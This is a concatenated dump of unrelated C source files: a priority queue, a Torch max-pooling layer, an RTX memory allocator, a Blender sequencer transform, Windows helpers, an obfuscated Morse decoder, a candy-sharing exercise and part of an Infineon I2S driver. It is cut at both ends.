if (kdb_init_lvl == KDB_INIT_FULL || lvl <= kdb_init_lvl)
return;
#ifdef CONFIG_MTK_EXTMEM
init_debug_alloc_pool_aligned();
#endif
for (i = kdb_init_lvl; i < lvl; i++) {
switch (i) {
case KDB_NOT_INITIALIZED:
kdb_inittab(); /* Initialize Command Table */
kdb_initbptab(); /* Initialize Breakpoints */
break;
case KDB_INIT_EARLY:
kdb_cmd_init(); /* Build kdb_cmds tables */
break;
}
}
kdb_init_lvl = lvl;
}
|
1653.c | /*
* Copyright (c) 2005-2012 by KoanLogic s.r.l.
*/
#include <u/libu.h>
#include "pqueue.h"
struct pq_item_s
{
double key;
void *val;
};
struct pq_s
{
size_t nelems, nitems;
pq_item_t *q;
};
static int pq_item_comp (pq_item_t *pi, pq_item_t *pj);
static void pq_item_swap (pq_item_t *pi, pq_item_t *pj);
static void bubble_up (pq_item_t *pi, size_t k);
static void bubble_down (pq_item_t *pi, size_t k, size_t n);
int pq_create (size_t nitems, pq_t **ppq)
{
pq_t *pq = NULL;
dbg_return_if (ppq == NULL, ~0);
dbg_return_if (nitems < 2, ~0); /* Expect at least 2 elements. */
/* Make room for both the queue head and items' array. */
dbg_err_sif ((pq = u_zalloc(sizeof *pq)) == NULL);
dbg_err_sif ((pq->q = u_zalloc((nitems + 1) * sizeof(pq_item_t))) == NULL);
/* Init the index of last element in array: valid elements are stored
* at index'es [1..nitems]. */
pq->nelems = 0;
pq->nitems = nitems;
*ppq = pq;
return 0;
err:
pq_free(pq);
return ~0;
}
int pq_empty (pq_t *pq)
{
return (pq->nelems == 0);
}
int pq_full (pq_t *pq)
{
return (pq->nelems == pq->nitems);
}
void pq_free (pq_t *pq)
{
dbg_return_if (pq == NULL, );
if (pq->q)
u_free(pq->q);
u_free(pq);
return;
}
/* -1: error
* -2: would overflow
* 0: ok */
int pq_push (pq_t *pq, double key, const void *val)
{
pq_item_t *pi;
dbg_return_if (pq == NULL, -1);
/* Queue full, would overflow. */
if (pq_full(pq))
return -2;
pq->nelems += 1;
/* Get next free slot (from heap bottom). */
pi = &pq->q[pq->nelems];
/* Assign element. */
pi->key = key;
memcpy(&pi->val, &val, sizeof(void **));
/* Fix heap condition bottom-up. */
bubble_up(pq->q, pq->nelems);
return 0;
}
/* Is meaningful only when !pq_empty(pq) */
void *pq_peekmax (pq_t *pq, double *pkey)
{
pq_item_t *pmax = &pq->q[pq->nelems];
if (pkey)
*pkey = pmax->key;
return pmax->val;
}
/* Is meaningful only when !pq_empty(pq) */
void *pq_delmax (pq_t *pq, double *pkey)
{
pq_item_t *pmax;
dbg_return_if (pq == NULL, NULL);
/* Empty queue. XXX NULL is legitimate ... */
if (pq->nelems == 0)
return NULL;
/* Exchange top and bottom items. */
pq_item_swap(&pq->q[1], &pq->q[pq->nelems]);
/* Fix heap condition top-down excluding the evicted item. */
bubble_down(pq->q, 1, pq->nelems - 1);
pmax = &pq->q[pq->nelems];
pq->nelems -= 1;
/* Copy out the deleted key if requested. */
if (pkey)
*pkey = pmax->key;
return pmax->val;
}
static void pq_item_swap (pq_item_t *pi, pq_item_t *pj)
{
void *tmpval = pi->val;
double tmpkey = pi->key;
pi->key = pj->key;
pi->val = pj->val;
pj->key = tmpkey;
pj->val = tmpval;
return;
}
static int pq_item_comp (pq_item_t *pi, pq_item_t *pj)
{
return (pi->key > pj->key);
}
static void bubble_up (pq_item_t *pi, size_t k)
{
/* Move from bottom to top exchanging child with its parent node until
* child is higher than parent, or we've reached the top. */
while (k > 1 && pq_item_comp(&pi[k / 2], &pi[k]))
{
pq_item_swap(&pi[k], &pi[k / 2]);
k = k / 2;
}
return;
}
static void bubble_down (pq_item_t *pi, size_t k, size_t n)
{
size_t j;
/* Move from top to bottom exchanging the parent node with the highest
* of its children, until the "moving" node is higher then both of them -
* or we've reached the bottom. */
while (2 * k <= n)
{
j = 2 * k;
/* Choose to go left or right depending on who's bigger. */
if (j < n && pq_item_comp(&pi[j], &pi[j + 1]))
j++;
if (!pq_item_comp(&pi[k], &pi[j]))
break;
pq_item_swap(&pi[k], &pi[j]);
k = j;
}
return;
}
|
127851.c | #include <stdio.h>
#include <string.h>
char X[] =
" ETIANMSURWDKGOHVF:L:PJBXCYZQ::54:3:::2&:+::::16=/:::(:7:::8:90"
"::::::::::::?_::::\"::.::::@:::'::-::::::::;!:):::::,:::::";
int j,w,h,f,u,d,g,e,n,i,l,a,r,p,c,m,o,t,s,Q=32,T[32],W[32],I=13000;
int main(int v, char** b) {
for (i=0;v>0&&v<5&&(v*=t=fread(X,1,1,stdin));)
for (v-1&&101==*1[b]?++g%1500?u+=(g&1^1)*(*X<0?-*X:*X):(f=e,e=w,w=d,d=u,
m=(1 - h%2* 2 )*(d -f)/ (d<f ?d|1 : 1|f) > 5?T[ h%Q] =o+l , l=W[
h++%Q]=o,o=0:m,o++,u=main(0,b)):(c=strrchr(X,~(Q&*X&*X/2)&*X)-X,j=255);
v==1&&(c*j||main(*X-Q?8:24,b));j/=2)c<j?0:main(9+(c-j)/(j/2+1)%2*10,b);
for (a=u=0;i<=Q*Q&&!v;j>7&&j<13?s=c*s+T[i/Q]/2,s/=++c:0)
!(i++%Q)?a=c>a?u=s,c:a,c=s=0:0,j=T[i%Q],j=j?T[i/Q]*10/j:0,j*=(j<5)*2+1;
for (r+=(h-r)/Q*Q;i<v/4*I;putchar((i/I<v%4)*i%2*85<<(i%176/88)),i++);
for (g*=!!v;r+t!=h+1&&h>5&&!v;r+t!=h+1?(W[r%Q]>2*u||r==h?p=n=n>6?0:
putchar(X[p-1+(1<<n)])&0:0,W[r++%Q]>6*u?putchar(Q):0):0)
*X=Q,p=r%2?++n,2*p+(W[r++%Q]>2*u):p;
return 0;
}
|
687718.c | #ifndef TH_GENERIC_FILE
#define TH_GENERIC_FILE "generic/TemporalMaxPooling.c"
#else
static inline void THNN_(TemporalMaxPooling_shapeCheck)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
THIndexTensor *indices,
int kW,
int dW) {
long niframe;
long framesize;
long noframe;
int dimS = 0; // sequence dimension
int dimF = 1; // feature dimension
int ndims = input->nDimension;
if (input->nDimension == 3)
{
dimS = 1;
dimF = 2;
}
niframe = input->size[dimS];
framesize = input->size[dimF];
noframe = (niframe - kW) / dW + 1;
THArgCheck(kW > 0, 5,
"kernel size should be greater than zero, but got kW: %d", kW);
THArgCheck(dW > 0, 6,
"stride should be greater than zero, but got dW: %d", dW);
THNN_ARGCHECK(input->nDimension == 2 || input->nDimension == 3, 2, input,
"2D or 3D (batch mode) tensor expected for input, but got: %s");
THArgCheck(input->size[dimS] >= kW, 2,
"input sequence smaller than kernel size. Got: %d, Expected: %d",
input->size[dimS], kW);
if (gradOutput != NULL) {
THNN_CHECK_DIM_SIZE(gradOutput, ndims, dimS, noframe);
THNN_CHECK_DIM_SIZE(gradOutput, ndims, dimF, framesize)
}
if (indices != NULL) {
THNN_CHECK_DIM_SIZE_INDICES(indices, ndims, dimS, noframe);
THNN_CHECK_DIM_SIZE_INDICES(indices, ndims, dimF, framesize);
}
}
void THNN_(TemporalMaxPooling_updateOutput)(
THNNState *state,
THTensor *input,
THTensor *output,
THIndexTensor *indices,
int kW,
int dW)
{
long niframe;
long framesize;
long noframe;
real *input_data;
real *output_data;
THIndex_t *indices_data;
long t, y;
int dimS = 0; // sequence dimension
int dimF = 1; // feature dimension
THNN_(TemporalMaxPooling_shapeCheck)(state, input, NULL, NULL, kW, dW);
if (input->nDimension == 3)
{
dimS = 1;
dimF = 2;
}
/* sizes */
niframe = input->size[dimS];
framesize = input->size[dimF];
noframe = (niframe - kW) / dW + 1;
/* get contiguous input */
input = THTensor_(newContiguous)(input);
if (input->nDimension == 2)
{
/* resize output */
THTensor_(resize2d)(output, noframe, framesize);
/* indices will contain index locations for each output point */
THIndexTensor_(resize2d)(indices, noframe, framesize);
/* get raw pointers */
input_data = THTensor_(data)(input);
output_data = THTensor_(data)(output);
indices_data = THIndexTensor_(data)(indices);
for(t = 0; t < noframe; t++)
{
real *ip = input_data + t*framesize*dW;
real *op = output_data + t*framesize;
THIndex_t *xp = indices_data + t*framesize;
#pragma omp parallel for private(y)
for(y = 0; y < framesize; y++)
{
/* compute local max: */
long maxindex = -1;
real maxval = -THInf;
long x;
for(x = 0; x < kW; x++)
{
real val = ip[x*framesize+y];
if (val > maxval)
{
maxval = val;
maxindex = x;
}
}
/* set output to local max */
op[y] = maxval;
xp[y] = (real)maxindex;
}
}
}
else
{
/* number of batch frames */
long nbframe = input->size[0];
long i;
/* resize output */
THTensor_(resize3d)(output, nbframe, noframe, framesize);
/* indices will contain index locations for each output point */
THIndexTensor_(resize3d)(indices, nbframe, noframe, framesize);
/* get raw pointers */
input_data = THTensor_(data)(input);
output_data = THTensor_(data)(output);
indices_data = THIndexTensor_(data)(indices);
for(i = 0; i < nbframe; i++)
{
real *inputSample_data = input_data + i*niframe*framesize;
real *outputSample_data = output_data + i*noframe*framesize;
THIndex_t *indicesSample_data = indices_data + i*noframe*framesize;
for(t = 0; t < noframe; t++)
{
real *ip = inputSample_data + t*framesize*dW;
real *op = outputSample_data + t*framesize;
THIndex_t *xp = indicesSample_data + t*framesize;
#pragma omp parallel for private(y)
for(y = 0; y < framesize; y++)
{
/* compute local max: */
long maxindex = -1;
real maxval = -THInf;
long x;
for(x = 0; x < kW; x++)
{
real val = ip[x*framesize+y];
if (val > maxval)
{
maxval = val;
maxindex = x;
}
}
/* set output to local max */
op[y] = maxval;
xp[y] = (real)maxindex;
}
}
}
}
/* cleanup */
THTensor_(free)(input);
}
void THNN_(TemporalMaxPooling_updateGradInput)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
THTensor *gradInput,
THIndexTensor *indices,
int kW,
int dW)
{
long niframe;
int noframe;
long framesize;
real *gradInput_data;
real *gradOutput_data;
THIndex_t *indices_data;
long t, y;
THNN_(TemporalMaxPooling_shapeCheck)(state, input, gradOutput, indices, kW, dW);
/* get contiguous gradOutput */
gradOutput = THTensor_(newContiguous)(gradOutput);
/* resize and zero */
THTensor_(resizeAs)(gradInput, input);
THTensor_(zero)(gradInput);
int dimS = 0; // sequence dimension
int dimF = 1; // feature dimension
if (input->nDimension == 3)
{
dimS = 1;
dimF = 2;
}
/* sizes */
niframe = input->size[dimS];
noframe = gradOutput->size[dimS];
framesize = gradOutput->size[dimF];
/* get raw pointers */
gradInput_data = THTensor_(data)(gradInput);
gradOutput_data = THTensor_(data)(gradOutput);
indices_data = THIndexTensor_(data)(indices);
if (input->nDimension == 2)
{
for(t = 0; t < noframe; t++)
{
real *gip = gradInput_data + t*framesize*dW;
real *gop = gradOutput_data + t*framesize;
THIndex_t *xp = indices_data + t*framesize;
#pragma omp parallel for private(y)
for(y = 0; y < framesize; y++)
{
/* compute local max: */
long maxindex = (long)xp[y];
if (maxindex != -1)
gip[maxindex*framesize+y] += gop[y];
}
}
}
else
{
/* number of batch frames */
long nbframe = input->size[0];
long i;
for(i = 0; i < nbframe; i++)
{
real *gradInputSample_data = gradInput_data + i*niframe*framesize;
real *gradOutputSample_data = gradOutput_data + i*noframe*framesize;
THIndex_t *indicesSample_data = indices_data + i*noframe*framesize;
for(t = 0; t < noframe; t++)
{
real *gip = gradInputSample_data + t*framesize*dW;
real *gop = gradOutputSample_data + t*framesize;
THIndex_t *xp = indicesSample_data + t*framesize;
#pragma omp parallel for private(y)
for(y = 0; y < framesize; y++)
{
/* compute local max: */
long maxindex = (long)xp[y];
if (maxindex != -1)
gip[maxindex*framesize+y] += gop[y];
}
}
}
}
/* cleanup */
THTensor_(free)(gradOutput);
}
#endif
|
188013.c | /*----------------------------------------------------------------------------
* CMSIS-RTOS - RTX
*----------------------------------------------------------------------------
* Name: RT_MEMBOX.C
* Purpose: Interface functions for fixed memory block management system
* Rev.: V4.79
*----------------------------------------------------------------------------
*
* Copyright (c) 1999-2009 KEIL, 2009-2017 ARM Germany GmbH. All rights reserved.
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the License); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*---------------------------------------------------------------------------*/
#include "rt_TypeDef.h"
#include "RTX_Config.h"
#include "rt_System.h"
#include "rt_MemBox.h"
#include "rt_HAL_CM.h"
/*----------------------------------------------------------------------------
* Global Functions
*---------------------------------------------------------------------------*/
/*--------------------------- _init_box -------------------------------------*/
U32 _init_box (void *box_mem, U32 box_size, U32 blk_size) {
/* Initialize memory block system, returns 0 if OK, 1 if fails. */
void *end;
void *blk;
void *next;
U32 sizeof_bm;
/* Create memory structure. */
if (blk_size & BOX_ALIGN_8) {
/* Memory blocks 8-byte aligned. */
blk_size = ((blk_size & ~BOX_ALIGN_8) + 7U) & ~(U32)7U;
sizeof_bm = (sizeof (struct OS_BM) + 7U) & ~(U32)7U;
}
else {
/* Memory blocks 4-byte aligned. */
blk_size = (blk_size + 3U) & ~(U32)3U;
sizeof_bm = sizeof (struct OS_BM);
}
if (blk_size == 0U) {
return (1U);
}
if ((blk_size + sizeof_bm) > box_size) {
return (1U);
}
/* Create a Memory structure. */
blk = ((U8 *) box_mem) + sizeof_bm;
((P_BM) box_mem)->free = blk;
end = ((U8 *) box_mem) + box_size;
((P_BM) box_mem)->end = end;
((P_BM) box_mem)->blk_size = blk_size;
/* Link all free blocks using offsets. */
end = ((U8 *) end) - blk_size;
while (1) {
next = ((U8 *) blk) + blk_size;
if (next > end) { break; }
*((void **)blk) = next;
blk = next;
}
/* end marker */
*((void **)blk) = 0U;
return (0U);
}
/*--------------------------- rt_alloc_box ----------------------------------*/
void *rt_alloc_box (void *box_mem) {
/* Allocate a memory block and return start address. */
void **free;
#ifndef __USE_EXCLUSIVE_ACCESS
U32 irq_mask;
irq_mask = (U32)__disable_irq ();
free = ((P_BM) box_mem)->free;
if (free) {
((P_BM) box_mem)->free = *free;
}
if (irq_mask == 0U) { __enable_irq (); }
#else
do {
if ((free = (void **)__ldrex(&((P_BM) box_mem)->free)) == 0U) {
__clrex();
break;
}
} while (__strex((U32)*free, &((P_BM) box_mem)->free));
#endif
return (free);
}
/*--------------------------- _calloc_box -----------------------------------*/
void *_calloc_box (void *box_mem) {
/* Allocate a 0-initialized memory block and return start address. */
void *free;
U32 *p;
U32 i;
free = _alloc_box (box_mem);
if (free) {
p = free;
for (i = ((P_BM) box_mem)->blk_size; i; i -= 4U) {
*p = 0U;
p++;
}
}
return (free);
}
/*--------------------------- rt_free_box -----------------------------------*/
U32 rt_free_box (void *box_mem, void *box) {
/* Free a memory block, returns 0 if OK, 1 if box does not belong to box_mem */
#ifndef __USE_EXCLUSIVE_ACCESS
U32 irq_mask;
#endif
if ((box < box_mem) || (box >= ((P_BM) box_mem)->end)) {
return (1U);
}
#ifndef __USE_EXCLUSIVE_ACCESS
irq_mask = (U32)__disable_irq ();
*((void **)box) = ((P_BM) box_mem)->free;
((P_BM) box_mem)->free = box;
if (irq_mask == 0U) { __enable_irq (); }
#else
do {
do {
*((void **)box) = ((P_BM) box_mem)->free;
__DMB();
} while (*(void**)box != (void *)__ldrex(&((P_BM) box_mem)->free));
} while (__strex ((U32)box, &((P_BM) box_mem)->free));
#endif
return (0U);
}
/*----------------------------------------------------------------------------
* end of file
*---------------------------------------------------------------------------*/
|
426384.c | /*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2001-2002 by NaN Holding BV.
* All rights reserved.
*/
/** \file
* \ingroup edtransform
*/
#include <stdlib.h>
#include "BLI_math.h"
#include "BLI_string.h"
#include "BKE_context.h"
#include "BKE_unit.h"
#include "ED_screen.h"
#include "WM_api.h"
#include "UI_interface.h"
#include "BLT_translation.h"
#include "transform.h"
#include "transform_mode.h"
#include "transform_snap.h"
/* -------------------------------------------------------------------- */
/** \name Transform (Sequencer Slide)
* \{ */
static void headerSeqSlide(TransInfo *t, const float val[2], char str[UI_MAX_DRAW_STR])
{
char tvec[NUM_STR_REP_LEN * 3];
size_t ofs = 0;
if (hasNumInput(&t->num)) {
outputNumInput(&(t->num), tvec, &t->scene->unit);
}
else {
BLI_snprintf(&tvec[0], NUM_STR_REP_LEN, "%.0f, %.0f", val[0], val[1]);
}
ofs += BLI_snprintf(
str + ofs, UI_MAX_DRAW_STR - ofs, TIP_("Sequence Slide: %s%s, ("), &tvec[0], t->con.text);
if (t->keymap) {
wmKeyMapItem *kmi = WM_modalkeymap_find_propvalue(t->keymap, TFM_MODAL_TRANSLATE);
if (kmi) {
ofs += WM_keymap_item_to_string(kmi, false, str + ofs, UI_MAX_DRAW_STR - ofs);
}
}
ofs += BLI_snprintf(str + ofs,
UI_MAX_DRAW_STR - ofs,
TIP_(" or Alt) Expand to fit %s"),
WM_bool_as_string((t->flag & T_ALT_TRANSFORM) != 0));
}
static void applySeqSlideValue(TransInfo *t, const float val[2])
{
int i;
FOREACH_TRANS_DATA_CONTAINER (t, tc) {
TransData *td = tc->data;
for (i = 0; i < tc->data_len; i++, td++) {
if (td->flag & TD_SKIP) {
continue;
}
madd_v2_v2v2fl(td->loc, td->iloc, val, td->factor);
}
}
}
static void applySeqSlide(TransInfo *t, const int mval[2])
{
char str[UI_MAX_DRAW_STR];
float values_final[2] = {0.0f};
snapSequenceBounds(t, mval);
if (applyNumInput(&t->num, values_final)) {
if (t->con.mode & CON_APPLY) {
if (t->con.mode & CON_AXIS0) {
mul_v2_v2fl(values_final, t->spacemtx[0], values_final[0]);
}
else {
mul_v2_v2fl(values_final, t->spacemtx[1], values_final[0]);
}
}
}
else if (t->con.mode & CON_APPLY) {
t->con.applyVec(t, NULL, NULL, t->values, values_final);
}
else {
copy_v2_v2(values_final, t->values);
}
values_final[0] = floorf(values_final[0] + 0.5f);
values_final[1] = floorf(values_final[1] + 0.5f);
copy_v2_v2(t->values_final, values_final);
headerSeqSlide(t, t->values_final, str);
applySeqSlideValue(t, t->values_final);
recalcData(t);
ED_area_status_text(t->area, str);
}
void initSeqSlide(TransInfo *t)
{
t->transform = applySeqSlide;
initMouseInputMode(t, &t->mouse, INPUT_VECTOR);
t->idx_max = 1;
t->num.flag = 0;
t->num.idx_max = t->idx_max;
t->snap[0] = floorf(t->scene->r.frs_sec / t->scene->r.frs_sec_base);
t->snap[1] = 10.0f;
copy_v3_fl(t->num.val_inc, t->snap[0]);
t->num.unit_sys = t->scene->unit.system;
/* Would be nice to have a time handling in units as well
* (supporting frames in addition to "natural" time...). */
t->num.unit_type[0] = B_UNIT_NONE;
t->num.unit_type[1] = B_UNIT_NONE;
}
/** \} */
|
975674.c | #include "common.h"
#include "controller.h"
#ifdef _WIN32
static int duration_ms;
void timer_thread(void *parg)
{
MSG Msg;
UINT_PTR TimerId = SetTimer(NULL, 0, duration_ms, (TIMERPROC)timer_fired);
while(GetMessage(&Msg, NULL, 0, 0))
DispatchMessage(&Msg);
_endthread();
}
void run_test_timer(int duration)
{
duration_ms = 1000*duration;
_beginthread(timer_thread, 0, NULL);
}
long long time_in_nanosec(void)
{
LARGE_INTEGER Time, Frequency;
QueryPerformanceFrequency(&Frequency);
QueryPerformanceCounter(&Time);
return (Time.QuadPart * 1000000000I64 / Frequency.QuadPart);
}
static int vasprintf(char **strp, const char *format, va_list ap)
{
int len = _vscprintf(format, ap);
if (len == -1)
return -1;
char *str = (char*)malloc((size_t) len + 1);
if (!str)
return -1;
int rv = vsnprintf(str, len + 1, format, ap);
if (rv == -1) {
free(str);
return -1;
}
*strp = str;
return rv;
}
int asprintf(char **strp, const char *format, ...)
{
va_list ap;
va_start(ap, format);
int rv = vasprintf(strp, format, ap);
va_end(ap);
return rv;
}
int set_affinity(int cpuid)
{
if (0 == SetProcessAffinityMask(GetCurrentProcess(), (UINT_PTR)1 << cpuid))
return 0;
return 1;
}
#endif
|
641690.c | /*
例程92. 分糖果
整理优化by:千百度QAIU
QQ:736226400
编译环境:gcc/tcc
2017/10/23
*/
#include<stdio.h>
#include <conio.h>
void print(int s[]);
int judge(int c[]);
int j=0;
int main()
{
static int sweet[10]={10,2,8,22,16,4,10,6,14,20}; /*初始化数组数据*/
int i,t[10],l;
clrscr();
printf(" Child No. 1 2 3 4 5 6 7 8 9 10\n");
printf("------------------------------------------------------\n");
printf(" Round No.|\n");
print(sweet); /*输出每个人手中糖的块数*/
while(judge(sweet)) /*若不满足要求则继续进行循环*/
{
for(i=0;i<10;i++) /*将每个人手中的糖分成一半*/
if(sweet[i]%2==0) /*若为偶数则直接分出一半*/
t[i]=sweet[i]=sweet[i]/2;
else /*若为奇数则加1后再分出一半*/
t[i]=sweet[i]=(sweet[i]+1)/2;
for(l=0;l<9;l++) /*将分出的一半糖给右(后)边的孩子*/
sweet[l+1]=sweet[l+1]+t[l];
sweet[0]+=t[9];
print(sweet); /*输出当前每个孩子中手中的糖数*/
}
printf("------------------------------------------------------\n");
printf("\n Press any key to quit...");
getch();
return 0;
}
int judge(int c[])
{
int i;
for(i=0;i<10;i++) /*判断每个孩子手中的糖是否相同*/
if(c[0]!=c[i]) return 1; /*不相同返回 1*/
return 0;
}
void print(int s[]) /*输出数组中每个元素的值*/
{
int k;
printf(" <%2d> | ",j++);
for(k=0;k<10;k++) printf("%4d",s[k]);
printf("\n");
} |
952132.c | /*******************************************************************************
* File Name: cyhal_i2s.c
*
* Description:
* Provides a high level interface for interacting with the Infineon I2S. This is
* a wrapper around the lower level PDL API.
*
********************************************************************************
* \copyright
* Copyright 2018-2021 Cypress Semiconductor Corporation (an Infineon company) or
* an affiliate of Cypress Semiconductor Corporation
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#include "cyhal_i2s.h"
#include "cyhal_audio_common.h"
#include "cyhal_system.h"
#if defined(COMPONENT_CAT1A) || defined(COMPONENT_CAT1B)
/**
* \addtogroup group_hal_impl_i2s I2S (Inter-IC Sound)
* \ingroup group_hal_impl
* \{
* The CAT1 (PSoC™ 6) I2S Supports the following values for word lengths:
* - 8 bits
* - 10 bits (CAT1B only)
* - 12 bits (CAT1B only)
* - 14 bits (CAT1B only)
* - 16 bits
* - 18 bits
* - 20 bits
* - 24 bits
* - 32 bits
*
* The channel length must be greater than or equal to the word length. On CAT1A devices, the
* set of supported channel lengths is the same as the set of supported word lengths. On CAT1B
* devices, the channel length may be any value between 8 and 32 bits.
*
* The sclk signal is formed by integer division of the input clock source (either internally
* provided or from the mclk pin). The CAT1A I2S supports sclk divider values from 1 to 64. On
* CAT1B devices, the I2S supports sclk divider values from 2 to 256.
*
* On CAT1A devices, if both RX and TX are used, the same GPIO must be specified for
* mclk in both directions. See the device datasheet for more details on valid pin selections.
*
* The following events are not supported on CAT1B:
* - \ref CYHAL_I2S_TX_EMPTY
* - \ref CYHAL_I2S_TX_NOT_FULL
* - \ref CYHAL_I2S_RX_FULL
* - \ref CYHAL_I2S_RX_NOT_EMPTY
*
* \note If the I2S hardware is initialized with a configurator-generated configuration via the
* @ref cyhal_i2s_init_cfg function, the @ref CYHAL_I2S_TX_HALF_EMPTY and @ref CYHAL_I2S_RX_HALF_FULL
* events will be raised at the configurator defined TX and RX FIFO trigger levels, respectively,
* instead of their usual trigger level of half the FIFO depth.
*
* \} group_hal_impl_i2s
*/
#elif defined(COMPONENT_CAT2)
/**
* \addtogroup group_hal_impl_i2s I2S (Inter-IC Sound)
* \ingroup group_hal_impl
* \{
*
* The CAT2 (PSoC™ 4) I2S only supports TX in master mode.
*
* There are no trigger connections available from the I2S peripheral to other peripherals on
* the CAT2 platform. Hence, the \ref cyhal_i2s_enable_output and \ref cyhal_i2s_disable_output
* are not supported on this platform.
*
* It supports the following values for word lengths:
* - 8 bits
* - 16 bits
* - 18 bits
* - 20 bits
* - 24 bits
* - 32 bits
*
* The channel length must be greater than or equal to the word length. On CAT2 devices, the
* set of supported channel lengths is the same as the set of supported word lengths.
*
* The sclk signal is formed by integer division of the input clock source (either internally
* provided or from the mclk pin). The CAT2 I2S supports sclk divider values from 1 to 64.
* \note If the I2S hardware is initialized with a configurator-generated configuration via the
* @ref cyhal_i2s_init_cfg function, the @ref CYHAL_I2S_TX_HALF_EMPTY event will be raised at the
* configurator defined TX FIFO trigger level instead of the usual trigger level of half the FIFO depth.
*
* \} group_hal_impl_i2s
*/
#endif
#if (CYHAL_DRIVER_AVAILABLE_I2S)
#if defined(__cplusplus)
extern "C"
{
#endif
#if defined(CY_IP_MXAUDIOSS)
static uint32_t _cyhal_i2s_convert_interrupt_cause(uint32_t pdl_cause);
static uint32_t _cyhal_i2s_convert_event(uint32_t event);
#elif defined(CY_IP_MXTDM)
static uint32_t _cyhal_i2s_convert_interrupt_cause(uint32_t pdl_cause, bool is_tx);
static uint32_t _cyhal_i2s_convert_event(uint32_t event, bool is_tx);
#endif
static void _cyhal_i2s_invoke_callback(_cyhal_audioss_t* obj, uint32_t event);
static const _cyhal_audioss_interface_t _cyhal_i2s_interface =
{
.convert_interrupt_cause = _cyhal_i2s_convert_interrupt_cause,
.convert_to_pdl = _cyhal_i2s_convert_event,
.invoke_user_callback = _cyhal_i2s_invoke_callback,
.event_mask_empty = CYHAL_I2S_TX_EMPTY,
.event_mask_half_empty = CYHAL_I2S_TX_HALF_EMPTY,
#if (CYHAL_DRIVER_AVAILABLE_I2S_RX)
.event_mask_full = CYHAL_I2S_RX_FULL,
.event_mask_half_full = CYHAL_I2S_RX_HALF_FULL,
.event_rx_complete = CYHAL_I2S_ASYNC_RX_COMPLETE,
#endif
.event_tx_complete = CYHAL_I2S_ASYNC_TX_COMPLETE,
.err_invalid_pin = CYHAL_I2S_RSLT_ERR_INVALID_PIN,
.err_invalid_arg = CYHAL_I2S_RSLT_ERR_INVALID_ARG,
.err_clock = CYHAL_I2S_RSLT_ERR_CLOCK,
.err_not_supported = CYHAL_I2S_RSLT_NOT_SUPPORTED,
};
cy_rslt_t cyhal_i2s_init(cyhal_i2s_t *obj, const cyhal_i2s_pins_t* tx_pins, const cyhal_i2s_pins_t* rx_pins,
const cyhal_i2s_config_t* config, cyhal_clock_t* clk)
{
_cyhal_audioss_pins_t rx_converted, tx_converted;
_cyhal_audioss_pins_t* rx_pin_ptr = NULL;
_cyhal_audioss_pins_t* tx_pin_ptr = NULL;
if(NULL != rx_pins)
{
rx_converted.sck = rx_pins->sck;
rx_converted.ws = rx_pins->ws;
rx_converted.data = rx_pins->data;
rx_converted.mclk = rx_pins->mclk;
rx_pin_ptr = &rx_converted;
}
if(NULL != tx_pins)
{
tx_converted.sck = tx_pins->sck;
tx_converted.ws = tx_pins->ws;
tx_converted.data = tx_pins->data;
tx_converted.mclk = tx_pins->mclk;
tx_pin_ptr = &tx_converted;
}
_cyhal_audioss_config_t converted_config =
{
.is_tx_slave = config->is_tx_slave,
.is_rx_slave = config->is_rx_slave,
.mclk_hz = config->mclk_hz,
.channel_length = config->channel_length,
.word_length = config->word_length,
.sample_rate_hz = config->sample_rate_hz,
/* The following values are fixed for the I2S format */
.num_channels = 2u,
.channel_mask = 0x3u, /* Both channels enabled */
.tx_ws_full = true,
#if (CYHAL_DRIVER_AVAILABLE_I2S_RX)
.rx_ws_full = true,
#endif
.is_i2s = true,
};
return _cyhal_audioss_init((_cyhal_audioss_t *)obj, tx_pin_ptr, rx_pin_ptr, &converted_config, clk, &_cyhal_i2s_interface);
}
cy_rslt_t cyhal_i2s_init_cfg(cyhal_i2s_t *obj, const cyhal_i2s_configurator_t *cfg)
{
return _cyhal_audioss_init_cfg((_cyhal_audioss_t *)obj, cfg, &_cyhal_i2s_interface);
}
void cyhal_i2s_register_callback(cyhal_i2s_t *obj, cyhal_i2s_event_callback_t callback, void *callback_arg)
{
CY_ASSERT(NULL != obj);
uint32_t savedIntrStatus = cyhal_system_critical_section_enter();
obj->callback_data.callback = (cy_israddress) callback;
obj->callback_data.callback_arg = callback_arg;
cyhal_system_critical_section_exit(savedIntrStatus);
}
#if defined(CY_IP_MXAUDIOSS)
static uint32_t _cyhal_i2s_convert_interrupt_cause(uint32_t pdl_cause)
{
cyhal_i2s_event_t result = (cyhal_i2s_event_t)0u;
if(0 != (pdl_cause & CY_I2S_INTR_TX_NOT_FULL))
{
result |= CYHAL_I2S_TX_NOT_FULL;
}
if(0 != (pdl_cause & CY_I2S_INTR_TX_TRIGGER))
{
result |= CYHAL_I2S_TX_HALF_EMPTY;
}
if(0 != (pdl_cause & CY_I2S_INTR_TX_EMPTY))
{
result |= CYHAL_I2S_TX_EMPTY;
}
if(0 != (pdl_cause & CY_I2S_INTR_TX_OVERFLOW))
{
result |= CYHAL_I2S_TX_OVERFLOW;
}
if(0 != (pdl_cause & CY_I2S_INTR_TX_UNDERFLOW))
{
result |= CYHAL_I2S_TX_UNDERFLOW ;
}
